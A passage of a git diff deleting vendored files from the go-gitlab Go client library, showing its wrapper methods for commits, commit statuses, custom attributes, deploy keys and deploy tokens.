*string `url:"type,omitempty" json:"type,omitempty"` -} - -// GetCommitRefs gets all references (from branches or tags) a commit is pushed to -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/commits.html#get-references-a-commit-is-pushed-to -func (s *CommitsService) GetCommitRefs(pid interface{}, sha string, opt *GetCommitRefsOptions, options ...RequestOptionFunc) ([]*CommitRef, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/commits/%s/refs", pathEscape(project), url.PathEscape(sha)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var cs []*CommitRef - resp, err := s.client.Do(req, &cs) - if err != nil { - return nil, resp, err - } - - return cs, resp, err -} - -// GetCommit gets a specific commit identified by the commit hash or name of a -// branch or tag. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html#get-a-single-commit -func (s *CommitsService) GetCommit(pid interface{}, sha string, options ...RequestOptionFunc) (*Commit, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - if sha == "" { - return nil, nil, fmt.Errorf("SHA must be a non-empty string") - } - u := fmt.Sprintf("projects/%s/repository/commits/%s", pathEscape(project), url.PathEscape(sha)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - c := new(Commit) - resp, err := s.client.Do(req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, err -} - -// CreateCommitOptions represents the available options for a new commit. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html#create-a-commit-with-multiple-files-and-actions -type CreateCommitOptions struct { - Branch *string `url:"branch" json:"branch"` - CommitMessage *string `url:"commit_message" json:"commit_message"` - StartBranch *string `url:"start_branch,omitempty" json:"start_branch,omitempty"` - StartSHA *string `url:"start_sha,omitempty" json:"start_sha,omitempty"` - StartProject *string `url:"start_project,omitempty" json:"start_project,omitempty"` - Actions []*CommitAction `url:"actions" json:"actions"` - AuthorEmail *string `url:"author_email,omitempty" json:"author_email,omitempty"` - AuthorName *string `url:"author_name,omitempty" json:"author_name,omitempty"` - Stats *bool `url:"stats,omitempty" json:"stats,omitempty"` - Force *bool `url:"force,omitempty" json:"force,omitempty"` -} - -// CreateCommit creates a commit with multiple files and actions. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html#create-a-commit-with-multiple-files-and-actions -func (s *CommitsService) CreateCommit(pid interface{}, opt *CreateCommitOptions, options ...RequestOptionFunc) (*Commit, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/commits", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - c := new(Commit) - resp, err := s.client.Do(req, &c) - if err != nil { - return nil, resp, err - } - - return c, resp, err -} - -// Diff represents a GitLab diff. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html -type Diff struct { - Diff string `json:"diff"` - NewPath string `json:"new_path"` - OldPath string `json:"old_path"` - AMode string `json:"a_mode"` - BMode string `json:"b_mode"` - NewFile bool `json:"new_file"` - RenamedFile bool `json:"renamed_file"` - DeletedFile bool `json:"deleted_file"` -} - -func (d Diff) String() string { - return Stringify(d) -} - -// GetCommitDiffOptions represents the available GetCommitDiff() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/commits.html#get-the-diff-of-a-commit -type GetCommitDiffOptions ListOptions - -// GetCommitDiff gets the diff of a commit in a project.. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/commits.html#get-the-diff-of-a-commit -func (s *CommitsService) GetCommitDiff(pid interface{}, sha string, opt *GetCommitDiffOptions, options ...RequestOptionFunc) ([]*Diff, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/commits/%s/diff", pathEscape(project), url.PathEscape(sha)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var d []*Diff - resp, err := s.client.Do(req, &d) - if err != nil { - return nil, resp, err - } - - return d, resp, err -} - -// CommitComment represents a GitLab commit comment. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html -type CommitComment struct { - Note string `json:"note"` - Path string `json:"path"` - Line int `json:"line"` - LineType string `json:"line_type"` - Author Author `json:"author"` -} - -// Author represents a GitLab commit author -type Author struct { - ID int `json:"id"` - Username string `json:"username"` - Email string `json:"email"` - Name string `json:"name"` - State string `json:"state"` - Blocked bool `json:"blocked"` - CreatedAt *time.Time `json:"created_at"` -} - -func (c CommitComment) String() string { - return Stringify(c) -} - -// GetCommitCommentsOptions represents the available GetCommitComments() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/commits.html#get-the-comments-of-a-commit -type GetCommitCommentsOptions ListOptions - -// GetCommitComments gets the comments of a commit in a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/commits.html#get-the-comments-of-a-commit -func (s *CommitsService) GetCommitComments(pid interface{}, sha string, opt *GetCommitCommentsOptions, options ...RequestOptionFunc) ([]*CommitComment, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/commits/%s/comments", pathEscape(project), url.PathEscape(sha)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var c []*CommitComment - resp, err := s.client.Do(req, &c) - if err != nil { - return nil, resp, err - } - - return c, resp, err -} - -// PostCommitCommentOptions represents the available PostCommitComment() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/commits.html#post-comment-to-commit -type PostCommitCommentOptions struct { - Note *string `url:"note,omitempty" json:"note,omitempty"` - Path *string `url:"path" json:"path"` - Line *int `url:"line" json:"line"` - LineType *string `url:"line_type" json:"line_type"` -} - -// PostCommitComment adds a comment to a commit. Optionally you can post -// comments on a specific line of a commit. Therefor both path, line_new and -// line_old are required. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/commits.html#post-comment-to-commit -func (s *CommitsService) PostCommitComment(pid interface{}, sha string, opt *PostCommitCommentOptions, options ...RequestOptionFunc) (*CommitComment, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/commits/%s/comments", pathEscape(project), url.PathEscape(sha)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - c := new(CommitComment) - resp, err := s.client.Do(req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, err -} - -// GetCommitStatusesOptions represents the available GetCommitStatuses() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html#get-the-status-of-a-commit -type GetCommitStatusesOptions struct { - ListOptions - Ref *string `url:"ref,omitempty" json:"ref,omitempty"` - Stage *string `url:"stage,omitempty" json:"stage,omitempty"` - Name *string `url:"name,omitempty" json:"name,omitempty"` - All *bool `url:"all,omitempty" json:"all,omitempty"` -} - -// CommitStatus represents a GitLab commit status. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html#get-the-status-of-a-commit -type CommitStatus struct { - ID int `json:"id"` - SHA string `json:"sha"` - Ref string `json:"ref"` - Status string `json:"status"` - Name string `json:"name"` - TargetURL string `json:"target_url"` - Description string `json:"description"` - CreatedAt *time.Time `json:"created_at"` - StartedAt *time.Time `json:"started_at"` - FinishedAt *time.Time `json:"finished_at"` - Author Author `json:"author"` -} - -// GetCommitStatuses gets the statuses of a commit in a project. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html#get-the-status-of-a-commit -func (s *CommitsService) GetCommitStatuses(pid interface{}, sha string, opt *GetCommitStatusesOptions, options ...RequestOptionFunc) ([]*CommitStatus, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/commits/%s/statuses", pathEscape(project), url.PathEscape(sha)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var cs []*CommitStatus - resp, err := s.client.Do(req, &cs) - if err != nil { - return nil, resp, err - } - - return cs, resp, err -} - -// SetCommitStatusOptions represents the available SetCommitStatus() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html#post-the-status-to-commit -type SetCommitStatusOptions struct { - State BuildStateValue `url:"state" json:"state"` - Ref *string `url:"ref,omitempty" json:"ref,omitempty"` - Name *string `url:"name,omitempty" json:"name,omitempty"` - Context *string `url:"context,omitempty" json:"context,omitempty"` - TargetURL *string `url:"target_url,omitempty" json:"target_url,omitempty"` - Description *string `url:"description,omitempty" json:"description,omitempty"` -} - -// SetCommitStatus sets the status of a commit in a project. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html#post-the-status-to-commit -func (s *CommitsService) SetCommitStatus(pid interface{}, sha string, opt *SetCommitStatusOptions, options ...RequestOptionFunc) (*CommitStatus, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/statuses/%s", pathEscape(project), url.PathEscape(sha)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - cs := new(CommitStatus) - resp, err := s.client.Do(req, &cs) - if err != nil { - return nil, resp, err - } - - return cs, resp, err -} - -// GetMergeRequestsByCommit gets merge request associated with a commit. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/commits.html#list-merge-requests-associated-with-a-commit -func (s *CommitsService) GetMergeRequestsByCommit(pid interface{}, sha string, options ...RequestOptionFunc) ([]*MergeRequest, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/commits/%s/merge_requests", pathEscape(project), url.PathEscape(sha)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var mrs []*MergeRequest - resp, err := s.client.Do(req, &mrs) - if err != nil { - return nil, resp, err - } - - return mrs, resp, err -} - -// CherryPickCommitOptions represents the available CherryPickCommit() options. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html#cherry-pick-a-commit -type CherryPickCommitOptions struct { - Branch *string `url:"branch,omitempty" json:"branch,omitempty"` -} - -// CherryPickCommit cherry picks a commit to a given branch. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/commits.html#cherry-pick-a-commit -func (s *CommitsService) CherryPickCommit(pid interface{}, sha string, opt *CherryPickCommitOptions, options ...RequestOptionFunc) (*Commit, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/commits/%s/cherry_pick", pathEscape(project), url.PathEscape(sha)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - c := new(Commit) - resp, err := s.client.Do(req, &c) - if err != nil { - return nil, resp, err - } - - return c, resp, err -} - -// RevertCommitOptions represents the available RevertCommit() options. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/commits.html#revert-a-commit -type RevertCommitOptions struct { - Branch *string `url:"branch,omitempty" json:"branch,omitempty"` -} - -// RevertCommit reverts a commit in a given branch. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/commits.html#revert-a-commit -func (s *CommitsService) RevertCommit(pid interface{}, sha string, opt *RevertCommitOptions, options ...RequestOptionFunc) (*Commit, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/commits/%s/revert", pathEscape(project), url.PathEscape(sha)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - c := new(Commit) - resp, err := s.client.Do(req, &c) - if err != nil { - return nil, resp, err - } - - return c, resp, err -} - -// GPGSignature represents a Gitlab commit's GPG Signature. -// -// GitLab API docs: -// https://docs.gitlab.com/ee/api/commits.html#get-gpg-signature-of-a-commit -type GPGSignature struct { - KeyID int `json:"gpg_key_id"` - KeyPrimaryKeyID string `json:"gpg_key_primary_keyid"` - KeyUserName string `json:"gpg_key_user_name"` - KeyUserEmail string `json:"gpg_key_user_email"` - VerificationStatus string `json:"verification_status"` - KeySubkeyID int `json:"gpg_key_subkey_id"` -} - -// GetGPGSiganature gets a GPG signature of a commit. -// -// GitLab API docs: https://docs.gitlab.com/ee/api/commits.html#get-gpg-signature-of-a-commit -func (s *CommitsService) GetGPGSiganature(pid interface{}, sha string, options ...RequestOptionFunc) (*GPGSignature, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/repository/commits/%s/signature", pathEscape(project), url.PathEscape(sha)) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - sig := new(GPGSignature) - resp, err := s.client.Do(req, &sig) - if err != nil { - return nil, resp, err - } - - return sig, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/custom_attributes.go b/vendor/github.com/xanzy/go-gitlab/custom_attributes.go deleted file mode 100644 index 02e9e5ca08..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/custom_attributes.go +++ /dev/null @@ -1,171 +0,0 @@ -package gitlab - -import ( - "fmt" -) - -// CustomAttributesService handles communication with the group, project and -// user custom attributes related methods of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/custom_attributes.html -type CustomAttributesService struct { - client *Client -} - -// CustomAttribute struct is used to unmarshal response to api calls. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/custom_attributes.html -type CustomAttribute struct { - Key string `json:"key"` - Value string `json:"value"` -} - -// ListCustomUserAttributes lists the custom attributes of the specified user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/custom_attributes.html#list-custom-attributes -func (s *CustomAttributesService) ListCustomUserAttributes(user int, options ...RequestOptionFunc) ([]*CustomAttribute, *Response, error) { - return s.listCustomAttributes("users", user, options...) -} - -// ListCustomGroupAttributes lists the custom attributes of the specified group. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/custom_attributes.html#list-custom-attributes -func (s *CustomAttributesService) ListCustomGroupAttributes(group int, options ...RequestOptionFunc) ([]*CustomAttribute, *Response, error) { - return s.listCustomAttributes("groups", group, options...) -} - -// ListCustomProjectAttributes lists the custom attributes of the specified project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/custom_attributes.html#list-custom-attributes -func (s *CustomAttributesService) ListCustomProjectAttributes(project int, options ...RequestOptionFunc) ([]*CustomAttribute, *Response, error) { - return s.listCustomAttributes("projects", project, options...) -} - -func (s *CustomAttributesService) listCustomAttributes(resource string, id int, options ...RequestOptionFunc) ([]*CustomAttribute, *Response, error) { - u := fmt.Sprintf("%s/%d/custom_attributes", resource, id) - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var cas []*CustomAttribute - resp, err := s.client.Do(req, &cas) - if err != nil { - return nil, resp, err - } - return cas, resp, err -} - -// GetCustomUserAttribute returns the user attribute with a speciifc key. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/custom_attributes.html#single-custom-attribute -func (s *CustomAttributesService) GetCustomUserAttribute(user int, key string, options ...RequestOptionFunc) (*CustomAttribute, *Response, error) { - return s.getCustomAttribute("users", user, key, options...) -} - -// GetCustomGroupAttribute returns the group attribute with a speciifc key. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/custom_attributes.html#single-custom-attribute -func (s *CustomAttributesService) GetCustomGroupAttribute(group int, key string, options ...RequestOptionFunc) (*CustomAttribute, *Response, error) { - return s.getCustomAttribute("groups", group, key, options...) -} - -// GetCustomProjectAttribute returns the project attribute with a speciifc key. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/custom_attributes.html#single-custom-attribute -func (s *CustomAttributesService) GetCustomProjectAttribute(project int, key string, options ...RequestOptionFunc) (*CustomAttribute, *Response, error) { - return s.getCustomAttribute("projects", project, key, options...) -} - -func (s *CustomAttributesService) getCustomAttribute(resource string, id int, key string, options ...RequestOptionFunc) (*CustomAttribute, *Response, error) { - u := fmt.Sprintf("%s/%d/custom_attributes/%s", resource, id, key) - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - var ca *CustomAttribute - resp, err := s.client.Do(req, &ca) - if err != nil { - return nil, resp, err - } - return ca, resp, err -} - -// SetCustomUserAttribute sets the custom attributes of the specified user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/custom_attributes.html#set-custom-attribute -func (s *CustomAttributesService) SetCustomUserAttribute(user int, c CustomAttribute, options ...RequestOptionFunc) (*CustomAttribute, *Response, error) { - return s.setCustomAttribute("users", user, c, options...) -} - -// SetCustomGroupAttribute sets the custom attributes of the specified group. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/custom_attributes.html#set-custom-attribute -func (s *CustomAttributesService) SetCustomGroupAttribute(group int, c CustomAttribute, options ...RequestOptionFunc) (*CustomAttribute, *Response, error) { - return s.setCustomAttribute("groups", group, c, options...) -} - -// SetCustomProjectAttribute sets the custom attributes of the specified project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/custom_attributes.html#set-custom-attribute -func (s *CustomAttributesService) SetCustomProjectAttribute(project int, c CustomAttribute, options ...RequestOptionFunc) (*CustomAttribute, *Response, error) { - return s.setCustomAttribute("projects", project, c, options...) -} - -func (s *CustomAttributesService) setCustomAttribute(resource string, id int, c CustomAttribute, options ...RequestOptionFunc) (*CustomAttribute, *Response, error) { - u := fmt.Sprintf("%s/%d/custom_attributes/%s", resource, id, c.Key) - req, err := s.client.NewRequest("PUT", u, c, options) - if err != nil { - return nil, nil, err - } - - ca := new(CustomAttribute) - resp, err := s.client.Do(req, ca) - if err != nil { - return nil, resp, err - } - return ca, resp, err -} - -// DeleteCustomUserAttribute removes the custom attribute of the specified user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/custom_attributes.html#delete-custom-attribute -func (s *CustomAttributesService) DeleteCustomUserAttribute(user int, key string, options ...RequestOptionFunc) (*Response, error) { - return s.deleteCustomAttribute("users", user, key, options...) -} - -// DeleteCustomGroupAttribute removes the custom attribute of the specified group. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/custom_attributes.html#delete-custom-attribute -func (s *CustomAttributesService) DeleteCustomGroupAttribute(group int, key string, options ...RequestOptionFunc) (*Response, error) { - return s.deleteCustomAttribute("groups", group, key, options...) -} - -// DeleteCustomProjectAttribute removes the custom attribute of the specified project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/custom_attributes.html#delete-custom-attribute -func (s *CustomAttributesService) DeleteCustomProjectAttribute(project int, key string, options ...RequestOptionFunc) (*Response, error) { - return s.deleteCustomAttribute("projects", project, key, options...) -} - -func (s *CustomAttributesService) deleteCustomAttribute(resource string, id int, key string, options ...RequestOptionFunc) (*Response, error) { - u := fmt.Sprintf("%s/%d/custom_attributes/%s", resource, id, key) - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - return s.client.Do(req, nil) -} diff --git a/vendor/github.com/xanzy/go-gitlab/deploy_keys.go b/vendor/github.com/xanzy/go-gitlab/deploy_keys.go deleted file mode 100644 index adb50bdbff..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/deploy_keys.go +++ /dev/null @@ -1,200 +0,0 @@ -// -// Copyright 2017, Sander van Harmelen -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// - -package gitlab - -import ( - "fmt" - "time" -) - -// DeployKeysService handles communication with the keys related methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/deploy_keys.html -type DeployKeysService struct { - client *Client -} - -// DeployKey represents a GitLab deploy key. -type DeployKey struct { - ID int `json:"id"` - Title string `json:"title"` - Key string `json:"key"` - CanPush *bool `json:"can_push"` - CreatedAt *time.Time `json:"created_at"` -} - -func (k DeployKey) String() string { - return Stringify(k) -} - -// ListAllDeployKeys gets a list of all deploy keys -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_keys.html#list-all-deploy-keys -func (s *DeployKeysService) ListAllDeployKeys(options ...RequestOptionFunc) ([]*DeployKey, *Response, error) { - req, err := s.client.NewRequest("GET", "deploy_keys", nil, options) - if err != nil { - return nil, nil, err - } - - var ks []*DeployKey - resp, err := s.client.Do(req, &ks) - if err != nil { - return nil, resp, err - } - - return ks, resp, err -} - -// ListProjectDeployKeysOptions represents the available ListProjectDeployKeys() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_keys.html#list-project-deploy-keys -type ListProjectDeployKeysOptions ListOptions - -// ListProjectDeployKeys gets a list of a project's deploy keys -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_keys.html#list-project-deploy-keys -func (s *DeployKeysService) ListProjectDeployKeys(pid interface{}, opt *ListProjectDeployKeysOptions, options ...RequestOptionFunc) ([]*DeployKey, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/deploy_keys", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var ks []*DeployKey - resp, err := s.client.Do(req, &ks) - if err != nil { - return nil, resp, err - } - - return ks, resp, err -} - -// GetDeployKey gets a single deploy key. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_keys.html#single-deploy-key -func (s *DeployKeysService) GetDeployKey(pid interface{}, deployKey int, options ...RequestOptionFunc) (*DeployKey, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/deploy_keys/%d", pathEscape(project), deployKey) - - req, err := s.client.NewRequest("GET", u, nil, options) - if err != nil { - return nil, nil, err - } - - k := new(DeployKey) - resp, err := s.client.Do(req, k) - if err != nil { - return nil, resp, err - } - - return k, resp, err -} - -// AddDeployKeyOptions represents the available ADDDeployKey() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_keys.html#add-deploy-key -type AddDeployKeyOptions struct { - Title *string `url:"title,omitempty" json:"title,omitempty"` - Key *string `url:"key,omitempty" json:"key,omitempty"` - CanPush *bool `url:"can_push,omitempty" json:"can_push,omitempty"` -} - -// AddDeployKey creates a new deploy key for a project. If deploy key already -// exists in another project - it will be joined to project but only if -// original one was is accessible by same user. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_keys.html#add-deploy-key -func (s *DeployKeysService) AddDeployKey(pid interface{}, opt *AddDeployKeyOptions, options ...RequestOptionFunc) (*DeployKey, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/deploy_keys", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - k := new(DeployKey) - resp, err := s.client.Do(req, k) - if err != nil { - return nil, resp, err - } - - return k, resp, err -} - -// DeleteDeployKey deletes a deploy key from a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_keys.html#delete-deploy-key -func (s *DeployKeysService) DeleteDeployKey(pid interface{}, deployKey int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/deploy_keys/%d", pathEscape(project), deployKey) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// EnableDeployKey enables a deploy key. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_keys.html#enable-deploy-key -func (s *DeployKeysService) EnableDeployKey(pid interface{}, deployKey int, options ...RequestOptionFunc) (*DeployKey, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/deploy_keys/%d/enable", pathEscape(project), deployKey) - - req, err := s.client.NewRequest("POST", u, nil, options) - if err != nil { - return nil, nil, err - } - - k := new(DeployKey) - resp, err := s.client.Do(req, k) - if err != nil { - return nil, resp, err - } - - return k, resp, err -} diff --git a/vendor/github.com/xanzy/go-gitlab/deploy_tokens.go b/vendor/github.com/xanzy/go-gitlab/deploy_tokens.go deleted file mode 100644 index 6d6ece3967..0000000000 --- a/vendor/github.com/xanzy/go-gitlab/deploy_tokens.go +++ /dev/null @@ -1,221 +0,0 @@ -package gitlab - -import ( - "fmt" - "time" -) - -// DeployTokensService handles communication with the deploy tokens related methods -// of the GitLab API. -// -// GitLab API docs: https://docs.gitlab.com/ce/api/deploy_tokens.html -type DeployTokensService struct { - client *Client -} - -// DeployToken represents a GitLab deploy token. -type DeployToken struct { - ID int `json:"id"` - Name string `json:"name"` - Username string `json:"username"` - ExpiresAt *time.Time `json:"expires_at"` - Token string `json:"token,omitempty"` - Scopes []string `json:"scopes"` -} - -func (k DeployToken) String() string { - return Stringify(k) -} - -// ListAllDeployTokens gets a list of all deploy tokens. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_tokens.html#list-all-deploy-tokens -func (s *DeployTokensService) ListAllDeployTokens(options ...RequestOptionFunc) ([]*DeployToken, *Response, error) { - req, err := s.client.NewRequest("GET", "deploy_tokens", nil, options) - if err != nil { - return nil, nil, err - } - - var ts []*DeployToken - resp, err := s.client.Do(req, &ts) - if err != nil { - return nil, resp, err - } - - return ts, resp, err -} - -// ListProjectDeployTokensOptions represents the available ListProjectDeployTokens() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_tokens.html#list-project-deploy-tokens -type ListProjectDeployTokensOptions ListOptions - -// ListProjectDeployTokens gets a list of a project's deploy tokens. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_tokens.html#list-project-deploy-tokens -func (s *DeployTokensService) ListProjectDeployTokens(pid interface{}, opt *ListProjectDeployTokensOptions, options ...RequestOptionFunc) ([]*DeployToken, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/deploy_tokens", pathEscape(project)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var ts []*DeployToken - resp, err := s.client.Do(req, &ts) - if err != nil { - return nil, resp, err - } - - return ts, resp, err -} - -// CreateProjectDeployTokenOptions represents the available CreateProjectDeployToken() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_tokens.html#create-a-project-deploy-token -type CreateProjectDeployTokenOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - ExpiresAt *time.Time `url:"expires_at,omitempty" json:"expires_at,omitempty"` - Username *string `url:"username,omitempty" json:"username,omitempty"` - Scopes []string `url:"scopes,omitempty" json:"scopes,omitempty"` -} - -// CreateProjectDeployToken creates a new deploy token for a project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_tokens.html#create-a-project-deploy-token -func (s *DeployTokensService) CreateProjectDeployToken(pid interface{}, opt *CreateProjectDeployTokenOptions, options ...RequestOptionFunc) (*DeployToken, *Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("projects/%s/deploy_tokens", pathEscape(project)) - - req, err := s.client.NewRequest("POST", u, opt, options) - if err != nil { - return nil, nil, err - } - - t := new(DeployToken) - resp, err := s.client.Do(req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, err -} - -// DeleteProjectDeployToken removes a deploy token from the project. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_tokens.html#delete-a-project-deploy-token -func (s *DeployTokensService) DeleteProjectDeployToken(pid interface{}, deployToken int, options ...RequestOptionFunc) (*Response, error) { - project, err := parseID(pid) - if err != nil { - return nil, err - } - u := fmt.Sprintf("projects/%s/deploy_tokens/%d", pathEscape(project), deployToken) - - req, err := s.client.NewRequest("DELETE", u, nil, options) - if err != nil { - return nil, err - } - - return s.client.Do(req, nil) -} - -// ListGroupDeployTokensOptions represents the available ListGroupDeployTokens() -// options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_tokens.html#list-group-deploy-deploy-tokens -type ListGroupDeployTokensOptions ListOptions - -// ListGroupDeployTokens gets a list of a group’s deploy tokens. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_tokens.html#list-project-deploy-tokens -func (s *DeployTokensService) ListGroupDeployTokens(gid interface{}, opt *ListGroupDeployTokensOptions, options ...RequestOptionFunc) ([]*DeployToken, *Response, error) { - group, err := parseID(gid) - if err != nil { - return nil, nil, err - } - u := fmt.Sprintf("groups/%s/deploy_tokens", pathEscape(group)) - - req, err := s.client.NewRequest("GET", u, opt, options) - if err != nil { - return nil, nil, err - } - - var ts []*DeployToken - resp, err := s.client.Do(req, &ts) - if err != nil { - return nil, resp, err - } - - return ts, resp, err -} - -// CreateGroupDeployTokenOptions represents the available CreateGroupDeployToken() options. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_tokens.html#create-a-group-deploy-token -type CreateGroupDeployTokenOptions struct { - Name *string `url:"name,omitempty" json:"name,omitempty"` - ExpiresAt *time.Time `url:"expires_at,omitempty" json:"expires_at,omitempty"` - Username *string `url:"username,omitempty" json:"username,omitempty"` - Scopes []string `url:"scopes,omitempty" json:"scopes,omitempty"` -} - -// CreateGroupDeployToken creates a new deploy token for a group. -// -// GitLab API docs: -// https://docs.gitlab.com/ce/api/deploy_tokens.html#create-a-group-deploy-token -func (s *DeployTokensService) CreateGroupDeployToken(gid interface{}, opt *CreateGroupDeployTokenOptions, options ...RequestOptionFunc) (*DeployToken, *Response, error) { - group, err := parseID(gid) - if err != 